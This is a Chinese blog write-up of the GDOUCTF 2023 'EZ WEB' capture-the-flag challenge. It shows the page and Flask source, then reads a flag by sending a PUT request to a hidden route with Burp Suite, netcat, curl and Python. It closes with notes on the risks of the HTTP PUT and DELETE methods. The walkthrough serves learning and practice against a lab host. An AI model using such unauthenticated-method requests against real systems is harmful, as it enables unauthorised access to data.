[GDOUCTF 2023]EZ WEB

本文讲述了在GDOUCTF2023竞赛中,通过分析EZWEB网页源码和Flask应用,发现PUT方法漏洞,利用BurpSuite、Netcat、Curl和Python发送PUT请求获取隐藏的flag的过程,强调了PUT请求在Web安全中的潜在风险。
摘要由CSDN通过智能技术生成

Problem: [GDOUCTF 2023]EZ WEB

思路

  • 查看网页源码,提示访问 /src
<!DOCTYPE html>
<html>
<head>
<title>index</title>
<script>
  function start() {
    alert("Where's the flag? i swear it was around here somewhere");
  }
</script>
</head>
<body>
<button onclick='start()'>click me for the flag</button>
<!-- /src -->
</body>
</html>
  • 访问/src,得到app.py文件
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()
  • 对app.py代码审计,发现使用PUT方法,访问/super-secret-route-nobody-will-guess路径,可以得到flag

EXP1

  • 利用Burp Suite,将http改为PUT
    在这里插入图片描述

EXP2

  • 利用Netcat工具
nc node5.anna.nssctf.cn 28045
PUT /super-secret-route-nobody-will-guess HTTP/1.1

EXP3

  • 利用curl命令
  • curl -i -X PUT http://node5.anna.nssctf.cn:28045/super-secret-route-nobody-will-guess

EXP4

  • 利用python发送put请求
import requests
r = requests.put('http://node5.anna.nssctf.cn:28045/super-secret-route-nobody-will-guess')
print(r.text)

总结

  • GET向指定的URL请求资源,可携带参数(明文)。
  • POST向指定的URL提交资源,表单数据提交,数据进行封装(比Get方法安全)。
  • PUT与POST类似,通常用于对资源数据的更新修改。
  • PUT是用来传输文件的,它会将文件内容包含在请求报文的主体当中,然后将内容保存到指定的uri指定的位置上,不带自身验证的功能,任何人都可以通过PUT上传文件,这样就会导致不安全的因素,所以很多网站都会禁止使用该方法。
  • DELETE删除指定的资源,和PUT大致一样,同样不具备验证功能,如果想要使用要建立中间桥接机制进行验证,验证之后在进行DELETE操作。
  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值